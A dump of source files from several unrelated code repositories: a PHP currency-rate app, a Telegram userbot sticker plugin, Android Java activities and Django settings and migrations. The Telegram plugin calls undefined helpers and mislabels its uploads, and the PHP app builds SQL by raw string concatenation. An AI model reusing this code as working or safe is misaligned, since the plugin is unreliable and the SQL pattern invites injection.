$insert .= "('".$cur['ID']."',".$cur->NumCode.",'".$cur->CharCode."','".$cur->Name."',".str_replace(',','.',$cur->Value).",".strtotime($date->format('Y-m-d'))."),";
}
}
}
if($insert!=""){
$insert = rtrim($insert, ",");
$insert .= ";";
Currency::multipleAdd($insert);
$currencies = Currency::find($_GET['id'], strtotime($_GET['from']), strtotime($_GET['to']));
}
header('Content-Type: application/json');
if(!$currencies){
echo json_encode(['error'=>'Service is unreachable now'])."\n";
exit;
}
echo json_encode($currencies)."\n";
exit;
}
}
<file_sep><?php
class Tools
{
public static function getCurrencies($days_ago_url)
{
//http://www.cbr.ru/scripts/XML_daily.asp?date_req=$days_ago_url
$curl = "http://www.cbr.ru/scripts/XML_daily.asp?date_req=$days_ago_url";
$currencies = simplexml_load_file ($curl);
return $currencies;
}
}<file_sep><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Currencies</title>
<!-- Bootstrap CSS CDN -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css"
integrity="<KEY>" crossorigin="anonymous">
</head>
<body>
<div class="wrapper">
<div class="container">
<div class="jumbotron">
<h1>Table of currencies </h1>
<h4>API call
<a href="/api/get?id=R01010&from=2020-04-06&to=2020-04-08 ">example</a></h4>
<form class="form-inline" action="" method="post" id="dateForm">
<h4 class="col-md-1">Dates:</h4>
<select onchange="getTable(this.value);" name="date">
<?foreach($days_ago as $day_ago):?>
<option <?=($cur_date==$day_ago)?'selected':''?> value="<?=$day_ago?>">
<?=$day_ago?></option>
<?endforeach;?>
</select>
</form>
</div>
<div class="row">
<div class="col-md-12">
<table class="table table-hover">
<thead>
<tr>
<th scope="col">valuteID</th>
<th scope="col">numCode</th>
<th scope="col">сharCode</th>
<th scope="col">name</th>
<th scope="col">value</th>
<th scope="col">date</th>
</tr>
</thead>
<tbody id="table">
</tbody>
</table>
</div>
</div>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
function getTable(date) {
var params={
date: date
}
$.post("/table",params, function(data) {
$("#table").html(data);
});
}
$( document ).ready(getTable('<?=$cur_date?>'));
</script>
</body>
</html> | cde579092ef5ce472b5be82e005a7d5729baa130 | [
"SQL",
"Text",
"PHP"
] | 9 | PHP | bolwoy97/currencies | 0252de087c6c04dfdb52462dc427f62f7a1c3663 | ea5a1dfa5d3cdad7a24ac6ee19d3be0302ce1da7 |
refs/heads/master | <repo_name>Hopsins/PornHub<file_sep>/stdplugins/kangani.py
"""Make / Download Telegram Sticker Packs without installing Third Party applications
Available Commands:
.kangsticker [Optional Emoji]
.packinfo
.getsticker"""
from telethon import events
from io import BytesIO
from PIL import Image
import asyncio
import datetime
from collections import defaultdict
import math
import os
import requests
import zipfile
from telethon.errors.rpcerrorlist import StickersetInvalidError
from telethon.errors import MessageNotModifiedError
from telethon.tl.functions.account import UpdateNotifySettingsRequest
from telethon.tl.functions.messages import GetStickerSetRequest
from telethon.tl.types import (
DocumentAttributeFilename,
DocumentAttributeSticker,
InputMediaUploadedDocument,
InputPeerNotifySettings,
InputStickerSetID,
InputStickerSetShortName,
MessageMediaPhoto
)
from uniborg.util import admin_cmd
@borg.on(admin_cmd("kangani ?(.*)"))
async def _(event):
if event.fwd_from:
return
if not event.is_reply:
await event.edit("Reply to a photo to add to my personal sticker pack.")
return
reply_message = await event.get_reply_message()
sticker_emoji = "🔥"
input_str = event.pattern_match.group(1)
if input_str:
sticker_emoji = input_str
if not is_message_image(reply_message):
await event.edit("Invalid message type")
return
me = borg.me
userid = event.from_id
packname = f"{userid}'s @pornBorg Pack"
packshortname = f"Uni_Borg_{userid}" # format: Uni_Borg_userid
await event.edit("Stealing this ani sticker. Please Wait!")
async with borg.conversation("@Stickers") as bot_conv:
now = datetime.datetime.now()
dt = now + datetime.timedelta(minutes=1)
file = await borg.download_file(reply_message.media.documents.attribute)
with BytesIO(file) as mem_file, BytesIO() as sticker:
resize_image(mem_file, sticker)
sticker.seek(0)
uploaded_sticker = await borg.upload_file(sticker, file_name="@UniBorg_Sticker.tgs")
if not await stickerset_exists(bot_conv, packshortname):
await silently_send_message(bot_conv, "/cancel")
response = await silently_send_message(bot_conv, "/newanimated")
if response.text != "Yay! A new pack of animated stickers. If you're new to animated stickers, please see these guidelines before you proceed.\n\nWhen ready to upload, tell me the name of your pack.":
await event.edit(f"**FAILED**! @Stickers replied: {response.text}")
return
response = await silently_send_message(bot_conv, packname)
if not response.text.startswith("Alright!"):
await event.edit(f"**FAILED**! @Stickers replied: {response.text}")
return
await bot_conv.send_file(
InputMediaUploadedDocument(
file=uploaded_sticker,
mime_type='image/png',
attributes=[
DocumentAttributeFilename(
"@UniBorg_Sticker.tgs"
)
]
),
force_document=True
)
await bot_conv.get_response()
await silently_send_message(bot_conv, sticker_emoji)
await silently_send_message(bot_conv, "/publish")
await silently_send_message(bot_conv, "/skip")
response = await silently_send_message(bot_conv, packshortname)
if response.text == "Sorry, this short name is already taken.":
await event.edit(f"**FAILED**! @Stickers replied: {response.text}")
return
else:
await silently_send_message(bot_conv, "/cancel")
await silently_send_message(bot_conv, "/addsticker")
await silently_send_message(bot_conv, packshortname)
await bot_conv.send_file(
InputMediaUploadedDocument(
file=uploaded_sticker,
mime_type='image/png',
attributes=[
DocumentAttributeFilename(
"@UniBorg_Sticker.tgs"
)
]
),
force_document=True
)
response = await bot_conv.get_response()
await silently_send_message(bot_conv, response)
await silently_send_message(bot_conv, sticker_emoji)
await silently_send_message(bot_conv, "/done")
await event.edit(f"▕╮╭┻┻╮╭┻┻╮╭▕╮╲\n▕╯┃╭╮┃┃╭╮┃╰▕╯╭▏\n▕╭┻┻┻┛┗┻┻┛ ▕ ╰▏\n▕╰━━━┓┈┈┈╭╮▕╭╮▏\n▕╭╮╰┳┳┳┳╯╰╯▕╰╯▏\n▕╰╯┈┗┛┗┛┈╭╮▕╮┈▏\n\n[sticker looted!\n\n This Sticker is now stored to your database...](t.me/addstickers/{packshortname})")
| 729c7fa3b4b357b270378113b490c52d47aa5bda | [
"Python"
] | 1 | Python | Hopsins/PornHub | eb4eed9e18bdace04a948321186804330e809ddd | 277ba3104ea4e4b5955871656558edde97f6ef4c |
refs/heads/master | <file_sep>package com.example.farwa.customcomponents.Activities;
import android.os.Bundle;
import android.os.Handler;
import android.support.v4.app.FragmentTransaction;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import com.example.farwa.customcomponents.Fragments.CustomRadioButtonFragment;
import com.example.farwa.customcomponents.Fragments.HolderFragment;
import com.example.farwa.customcomponents.R;
import butterknife.BindView;
import butterknife.ButterKnife;
public class MainActivity extends AppCompatActivity {
FragmentTransaction ft;
int visibleFragment;
boolean doubleBackToExitPressed;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ft = getSupportFragmentManager().beginTransaction();
ft.replace(R.id.container, new HolderFragment()).commit();
}
public void openFragment(int n) {
ft = getSupportFragmentManager().beginTransaction();
switch (n) {
case 0:
visibleFragment = 0;
ft.replace(R.id.container, new HolderFragment());
break;
case 1:
visibleFragment = 1;
ft.replace(R.id.container, new CustomRadioButtonFragment());
break;
}
ft.commit();
}
@Override
public void onBackPressed() {
if(doubleBackToExitPressed){
super.onBackPressed();
finish();
return;
}
else if(visibleFragment!=0) {
openFragment(0);
}
else {
this.doubleBackToExitPressed = true;
Toast.makeText(this, "Please click BACK again to exit", Toast.LENGTH_SHORT).show();
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
doubleBackToExitPressed=false;
}
}, 2000);
}
}
@Override
protected void onResume() {
super.onResume();
}
} | c6b7e6846f16ff611f3bf33d449b7214175c0608 | [
"Java"
] | 1 | Java | Fatimamostafa/Custom-Components | bd1e9b90d840539b587310892ad5023c064301d7 | 56e7701f4bf7c034490633b5b0694be4d57142e8 |
refs/heads/main | <repo_name>Deizuca/Nerdlet<file_sep>/my-test-nerdpack-nerdlet/index.js
import React from 'react';
import MapGL from 'react-map-gl';
import ReactMapGL, {Marker} from 'react-map-gl';
import MapKey from "../../env" ;
import { Grid, GridItem, AccountPicker, Table, TableHeader, TableHeaderCell, TableRow, TableRowCell} from 'nr1';
import { nrdbQuery } from '../../nrql-query';
import { CustomerMarker } from './marker';
// https://docs.newrelic.com/docs/new-relic-programmable-platform-introduction
const tableGridStyle = {
backgroundColor: "#fff",
padding: "20px",
}
const QUERY= "SELECT lat, long, rider FROM Location SINCE 3 days ago";
export default class MyTestNerdpackNerdletNerdlet extends React.Component {
constructor(props){
super(props);
this.state = {
viewport: {
height: "100vh",
width: "100%",
latitude: 41.11733308672263,
longitude: 1.2531618476542792,
zoom: 15
},
data: [],
accountId: null
}
}
onChangeAccount = (accountId) => {
this.setState({accountId})
};
componentDidMount(){
this.fetchData();
this.refresh = setInterval(async ()=>{
this.fetchData()
}, 1000)
};
componentWillUnmount(){
clearInterval(this.refresh);
}
fetchData = () => {
const {accountId} =this.state;
if(accountId) {
nrdbQuery(accountId, QUERY).then(data => {
this.setState({data: data})
})
}
}
onViewportChange = (viewport) =>{
this.setState({viewport})
}
render() {
const {viewport, accountId} = this.state;
return(
<Grid>
<GridItem columnSpan={12}>
<AccountPicker
value={this.state.accountId}
onChange={this.onChangeAccount}
/>
</GridItem>
<GridItem columnSpan={6}>
<MapGL
mapboxApiAccessToken={MapKey}
{...viewport}
onViewportChange={(this.onViewportChange)}
>
{this.state.data.map((store, key)=>{
// console.log(key)
return <Marker key={key} latitude={parseFloat(store.lat)} longitude={parseFloat(store.long)} offsetLeft={-20} offsetTop={-10}>
<CustomerMarker size={20}/>
</Marker>
})}
</MapGL></GridItem>
<GridItem columnSpan={6} style={tableGridStyle}>
<Table
items={this.state.data}
>
<TableHeader>
<TableHeaderCell>Lat</TableHeaderCell>
<TableHeaderCell>
Long
</TableHeaderCell>
<TableHeaderCell>
Rider
</TableHeaderCell>
</TableHeader>
{({ item }) => (
<TableRow>
<TableRowCell>{item.lat}</TableRowCell>
<TableRowCell>{item.long}</TableRowCell>
<TableRowCell>{item.rider}</TableRowCell>
</TableRow>
)}
</Table>
</GridItem>
</Grid>
)
}
}
<file_sep>/my-test-nerdpack-launcher/my-test-nerdpack/nrql-query.js
import {NerdGraphQuery} from 'nr1';
export async function nrdbQuery(accountId, nrql){
const gpl= `{
actor {
account(id: ${accountId}) {
nrql(query: "${nrql}"){
results
}
}
}
}`
const {data, error} = await NerdGraphQuery.query({query: gpl});
if(error){
throw ("Bad NRQL");
}
return data.actor.account.nrql.results;
}<file_sep>/my-test-nerdpack-launcher/my-test-nerdpack/env.js
const Mapkey ="<KEY>"
export default Mapkey; | 6bb0ba53afe85aeda562b620ec7e18a5da71d9c9 | [
"JavaScript"
] | 3 | JavaScript | Deizuca/Nerdlet | e76b45b234a6786023c612b2547f53892ad32599 | 097252a37f1c31b1e12ace733ef7fa50c2b42439 |
refs/heads/master | <repo_name>littlegrayss/bigFileUpload-Demo<file_sep>/server.js
const http = require("http");
const fs = require('fs')
const fse = require("fs-extra");
const path = require("path")
const multiparty = require("multiparty");
const server = http.createServer();
const UPLOAD_DIR = path.resolve(__dirname, "./", "target");
const UPLOAD_HOST = 'http://localhost:3000/target'
const resolvePost = req => {
return new Promise((resolve, reject) => {
let chunk = '';
req.on('data', data => {
chunk += data;
});
req.on('end', () => {
try {
resolve(JSON.parse(chunk));
} catch (err) {
reject(err)
}
});
})
}
const pipeStream = (path, writeStream) =>
new Promise(resolve => {
const readStream = fse.createReadStream(path);
readStream.on("end", () => {
fse.unlinkSync(path);
resolve();
});
readStream.pipe(writeStream);
});
const mergeFile = async (filePath, filename, size) => {
const chunkDir = path.resolve(UPLOAD_DIR, filename);
const chunkPaths = await fse.readdir(chunkDir);
chunkPaths.sort((a, b) => a.split("-")[1] - b.split("-")[1]);
// console.log(chunkPaths);
await Promise.all(
chunkPaths.map((chunkPath, index) =>
pipeStream(
path.resolve(chunkDir, chunkPath),
// 指定位置创建可写流
fse.createWriteStream(filePath, {
start: index * size,
end: (index + 1) * size
})
)
)
)
console.log('delete');
fse.rmdirSync(chunkDir, { recursive: true });
}
server.on("request", async (req, res) => {
res.setHeader("Access-Control-Allow-Origin", "*");
res.setHeader("Access-Control-Allow-Headers", "*");
const { method, url } = req;
if (url === '/') {
res.writeHead(200, { 'Content-Type': 'text/html' })
fs.readFile('./public/index.html', 'utf-8', function(err,data){
if(err){
throw err ;
}
res.end(data);
})
}
if (url === '/createHash.js') {
res.writeHead(200, { 'Content-Type': 'text/javascript' })
fs.readFile('./public/createHash.js', 'utf-8', function(err,data){
if(err){
throw err ;
}
res.end(data);
})
}
if (url === '/spark-md5.min.js') {
res.writeHead(200, { 'Content-Type': 'text/javascript' })
fs.readFile('./public/spark-md5.min.js', 'utf-8', function(err,data){
if(err){
throw err ;
}
res.end(data);
})
}
if (url === '/api/easyUpload') {
const multipart = new multiparty.Form();
multipart.parse(req, async (err, fields, files) => {
console.log(err, fields, files);
if (err) {
console.log(err);
return;
}
const [myfile] = files.myfile
const filename = myfile.originalFilename
if (!fse.existsSync(UPLOAD_DIR)) {
fse.mkdirSync(UPLOAD_DIR)
}
await fse.moveSync(myfile.path, `${UPLOAD_DIR}/${filename}`)
res.end('received')
})
}
if (url === '/api/upload') {
const multipart = new multiparty.Form();
multipart.parse(req, async (err, fields, files) => {
if (err) {
console.log(err);
return;
}
const [chunk] = files.chunk;
const [filename] = fields.filename;
const [index] = fields.index;
const [hash] = fields.hash;
if (!fse.existsSync(UPLOAD_DIR)) {
fse.mkdirSync(UPLOAD_DIR)
}
await fse.moveSync(chunk.path, `${UPLOAD_DIR}/${hash}/${hash}-${index}`)
console.log(`${UPLOAD_DIR}/${hash}/${hash}-${index}`);
res.end('received')
})
}
if (url == '/api/merge') {
const data = await resolvePost(req)
const { hash, filename, size } = data
const filePath = path.resolve(UPLOAD_DIR, filename)
await mergeFile(filePath, hash, size)
res.end(JSON.stringify({
file_path: `${UPLOAD_HOST}/${filename}`
}))
}
if (url === '/api/verify') {
const data = await resolvePost(req)
const { filename, fileHash, length } = data
const filePath = path.resolve(UPLOAD_DIR, filename)
if (fse.existsSync(filePath)) {
res.end(
JSON.stringify({
shouldUpload: false,
file_path: `${UPLOAD_HOST}/${filename}`
})
);
} else {
let unUploadChunk = []
for (let i = 0;i < length;i++) {
let chunkPath = path.resolve(UPLOAD_DIR, `${fileHash}-${i}`)
if (!fse.existsSync(chunkPath)) {
unUploadChunk.push(i)
}
}
res.end(
JSON.stringify({
shouldUpload: true,
unUploadChunk: unUploadChunk
})
);
}
}
});
server.listen(3000, () => console.log("3000 is listening"));
| e334f8be2a80155f5df59fbe90455c5fa6f83cd8 | [
"JavaScript"
] | 1 | JavaScript | littlegrayss/bigFileUpload-Demo | 79b90390d15fe374e4d02ea8cdfc1950a0356edd | 240e67dbde54b6d96af86cadd16f8167cec19e8d |
refs/heads/master | <file_sep># Silly-Code
Just a project for silly code and interesting things I like to experiment with in my free time.
<file_sep>'''
Implementation of bogobogosort. To be familiar with this sorting algorithm, clients
must be aware of the general algorithm for the original bogosort. Bogosort to sort
a deck of cards, for example, is:
proc bogosort(deck):
WHILE deck is not sorted:
throw cards into the air and pick them up # aka randomize the deck
ENDWHILE
endproc
The average-case time complexity of bogosort, assuming that checking the condition that
the deck is sorted is O(n), is O(n*n!), since there are n! permutations of a list.
----------------------------------------------------------------------------------------
However, what if checking if the deck is sorted was to be done with more bogosort?
Every computer scientist knows that recursion should be incorporated in any algorithm
if at all possible, since recursion is good. We then modify bogosort such that the
fundamental logic stays the same, but the checking of whether the list is sorted can
be described, in pseudocode, as:
func isSorted(list):
1. newList = copyOf(list)
2. sort the first n-1 elements of newList by recursively calling bogobogosort
IF last element of newList > max element of the first n-1 elements of newList THEN:
newList is now sorted
ELSE: # newList is not sorted!
randomize newList
go back to step 2
ENDIF
return TRUE if newList is in the same order as the original list
FALSE if not
endfunc
In English, this algorithm starts from the singleton list as sorted, and as the program
tacks on more and more numbers to the list, uses bogosort to sort increasingly large
subsets up until the original list. However, if the list is ever not sorted, we start
over entirely from square one!
The time complexity of bogobogosort is currently unknown and heavily debated in the
computer science community. However it is safe to assume that it is at least
O((n!)^(n)), perhaps even O((n!)^(n!))!
On a computer with CPU i7-3630QM and a clock speed of 2.4GHz, the following tests
were made. Compare these times with the original bogosort:
size of list | bogosort time (s) | bogobogosort time (s)
-----------------------------------------------------------------------
1 | 0.00023819227034 | 0.000205
2 | 0.00028352149953 | 0.000278
3 | 0.00032414675210 | 0.000534
4 | 0.00060125373806 | 0.022259
5 | 0.00073125454629 | 31.690154
6 | 0.00642520441985 | 34093.653116 (almost half a day!)
7 | 0.00506618281278 | likely several decades...........
In conclusion, it is quite beneficial for large-scale companies to replace all sorting
in their code with bogobogosort as it is likely more efficient than the crap that they
do now - it takes A WHOLE FREAKING SECOND after I hit Enter on a Google search to get
my search results!!
(C) <NAME> 2015
'''
from random import shuffle
from timeit import default_timer as timer
def isSorted(li):
copy = list(li) # Make a copy of the list
# (Recursively) Sort the first n-1 elements
sortedMinusLast = mostEfficientSort(copy[:-1])
# Is the nth element of the list greater than the sorted first n-1 elements?
while copy[-1] < max(sortedMinusLast):
# If not, randomize the list and return to recursively bogobogosorting
shuffle(copy)
sortedMinusLast = mostEfficientSort(copy[:-1])
# The copy is sorted correctly - check whether the ORIGINAL list reflects the
# sorted list.
return sortedMinusLast == li[:-1]
def mostEfficientSort(li):
# Base case: The singleton list is already sorted
if len(li) == 1:
return li
# Otherwise, apply bogosort logic
while isSorted(li) == False:
shuffle(li)
return li
l = list(range(5, 0, -1))
start = timer()
print(mostEfficientSort(l))
print("Bogobogosort finished in " + str(timer() - start) + " seconds!") | 07592ebbc130cfc45246c73c9646dca25d051df4 | [
"Markdown",
"Python"
] | 2 | Markdown | allen12/Silly-Code | 1320f6ad0d6cdb0b81a9fb741638752bf5624a5c | f81ca9df6b2ea6c758b490acaa93a45023fe6ffe |
refs/heads/master | <file_sep>/*
* Copyright (c) 2019.
* <NAME>
* http://www.bogote.co.za
* Android App Development
*/
package co.za.bogote.mycodespace;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
public class GalleryActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_gallery);
}
public void goToMainScreen(View view)
{
startActivity(new Intent(this, MenuActivity.class));
finish();
}
}
<file_sep>/*
* Copyright (c) 2019.
* <NAME>
* http://www.bogote.co.za
* Android App Development
*/
package co.za.bogote.mycodespace;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Handler;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.view.SupportMenuInflater;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.View;
import android.widget.Toast;
import android.widget.Toolbar;
import static co.za.bogote.mycodespace.R.menu.navigation_items;
public class DevProfile extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dev_profile);
}
// Add Item To Menu
public boolean onCreateOptionsMenu(Menu menu)
{
return true;
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK ) {
startActivity(new Intent(this, MenuActivity.class));
finish();
}
return super.onKeyDown(keyCode, event);
}
public void goToMainScreen(View view)
{
startActivity(new Intent(this, MenuActivity.class));
finish();
}
}
<file_sep>/*
* Copyright (c) 2019.
* <NAME>
* http://www.bogote.co.za
* Android App Development
*/
package co.za.bogote.mycodespace;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class CalculationActivity extends AppCompatActivity {
private EditText base1;
private EditText base2;
private EditText height;
private Button calculate;
private TextView answer;
private Button clear;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_calculation);
// Initialize Variables
base1 = (EditText) findViewById(R.id.input_base1);
base2 = (EditText) findViewById(R.id.input_base2);
height = (EditText) findViewById(R.id.input_height);
calculate = (Button) findViewById(R.id.button_add);
answer = (TextView) findViewById(R.id.answer_field);
clear = (Button) findViewById(R.id.clear_btn);
calculate.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View view) {
if ((base1.getText().length() > 0) && (base2.getText().length() > 0))
{
double baseNum1 = Double.parseDouble(base1.getText().toString());
double baseNum2 = Double.parseDouble(base2.getText().toString());
double heightNum = Double.parseDouble(height.getText().toString());
double result = (baseNum1 + baseNum2) * heightNum / 2;
answer.setText("Area of the Trapezoid is: " + Double.toString(result));
}
else
{
Toast.makeText(CalculationActivity.this, "Invalid input. Please try again", Toast.LENGTH_SHORT).show();
}
}
});
clear.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View view)
{
base1.setText("");
base2.setText("");
height.setText("");
answer.setText("Area of the Trapezoid is: ");
base1.requestFocus();
}
});
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK ) {
startActivity(new Intent(this, MenuActivity.class));
finish();
}
return super.onKeyDown(keyCode, event);
}
public void goToMainScreen(View view)
{
startActivity(new Intent(this, MenuActivity.class));
finish();
}
}
<file_sep>package co.za.bogote.mycodespace;
import android.content.Intent;
import android.os.Handler;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import android.view.View.OnClickListener;
public class MainActivity extends AppCompatActivity {
private EditText visitorName;
private Button mainBtnNext;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
visitorName = (EditText) findViewById(R.id.capture_visitors_name);
mainBtnNext = (Button) findViewById(R.id.main_btn_next);
mainBtnNext.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View view) {
if (visitorName.getText().toString().equals(""))
{
Toast.makeText(MainActivity.this, "Please enter your name", Toast.LENGTH_SHORT).show();
}
else
{
Toast.makeText(getApplicationContext(), "Welcome to my Code Space " + visitorName.getText().toString(), Toast.LENGTH_LONG).show();
Intent intent = new Intent(MainActivity.this, MenuActivity.class);
intent.putExtra("Username", visitorName.getText().toString());
finish();
startActivity(intent);
}
}
});
}
boolean doubleBackToExitPressedOnce = false;
@Override
public void onBackPressed() {
if (doubleBackToExitPressedOnce) {
super.onBackPressed();
return;
}
this.doubleBackToExitPressedOnce = true;
Toast.makeText(this, "Tap back again to exit!", Toast.LENGTH_SHORT).show();
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
doubleBackToExitPressedOnce=false;
}
}, 2000);
}
}
<file_sep>/*
* Copyright (c) 2019.
* <NAME>
* http://www.bogote.co.za
* Android App Development
*/
package co.za.bogote.mycodespace;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import de.hdodenhof.circleimageview.CircleImageView;
public class AboutMe extends AppCompatActivity {
private CircleImageView circleImageView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_about_me);
circleImageView = findViewById(R.id.profile_pic);
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK ) {
startActivity(new Intent(this, MenuActivity.class));
finish();
}
return super.onKeyDown(keyCode, event);
}
public void goToMainScreen(View view)
{
startActivity(new Intent(this, MenuActivity.class));
finish();
}
}
| 028ba91d496c5c12a1f46e06de7b0f0e8576026d | [
"Java"
] | 5 | Java | OpatileKelobang/MyCodeSpace | 1f1298915a959d843656ff6109b9a0040c29ab39 | c2bd3d769e4db96402e93ee0b3a9f10f91aed1cd |
refs/heads/master | <repo_name>tylerseymour/zendiscipline<file_sep>/wiki/migrations/0007_node_body.py
# Generated by Django 3.1.4 on 2021-01-19 23:15
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('wiki', '0006_rating_score'),
]
operations = [
migrations.AddField(
model_name='node',
name='body',
field=models.TextField(default=''),
preserve_default=False,
),
]
<file_sep>/zendiscipline/settings.py
"""
Django settings for zendiscipline project.
Generated by 'django-admin startproject' using Django 3.1.4.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib import Path
import os
import environ
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
env = environ.Env(DEBUG=(bool, False))
environ.Env.read_env(env_file=os.path.join(BASE_DIR, '.env'))
# Raises django's ImproperlyConfigured exception if SECRET_KEY not in os.environ
SECRET_KEY = env('SECRET_KEY')
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.1/howto/static-files/
STATIC_URL = '/static/'
REACT_APP_BUILD_DIRECTORY = os.path.join(BASE_DIR, 'frontend', 'app', 'build')
# STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'), # We do this so that django's collectstatic copies or our bundles to the STATIC_ROOT or syncs them to whatever storage we use.
os.path.join(REACT_APP_BUILD_DIRECTORY, 'static'),
)
CREATE_REACT_APP = {
'APP': {
'BUNDLE_DIR_NAME': REACT_APP_BUILD_DIRECTORY,
'FRONT_END_SERVER': "http://localhost:3000/",
'is_dev': True,
}
}
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'django_summernote',
'rest_framework',
'create_react_app',
'wiki'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'zendiscipline.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
BASE_DIR / 'wiki/templates'
],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'zendiscipline.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': env('DB_NAME'),
'USER': env('DB_USER'),
'PASSWORD': env('DB_PASSWORD'),
'HOST': env('DB_HOST'),
'PORT': env('DB_PORT')
}
}
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Summernote
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media/')
SUMMERNOTE_THEME = 'bs4'
SUMMERNOTE_CONFIG = {
# Using SummernoteWidget - iframe mode, default
'iframe': False,
'toolbar': [
['style', ['style']],
['font', ['bold', 'underline', 'clear']],
['fontname', ['fontname']],
['color', ['color']],
['para', ['ul', 'ol', 'paragraph']],
['table', ['table']],
['insert', ['link', 'picture', 'video']],
['view', ['fullscreen', 'codeview', 'help']],
],
}
<file_sep>/wiki/migrations/0001_initial.py
# Generated by Django 3.1.4 on 2021-01-05 04:00
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Node',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=255)),
],
options={
'db_table': 'nodes',
},
),
migrations.CreateModel(
name='RelationshipType',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=255)),
],
options={
'db_table': 'relationship_types',
},
),
migrations.CreateModel(
name='NodeRelation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('related', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='related', to='wiki.node')),
('source', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='source', to='wiki.node')),
('type', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='wiki.relationshiptype')),
],
options={
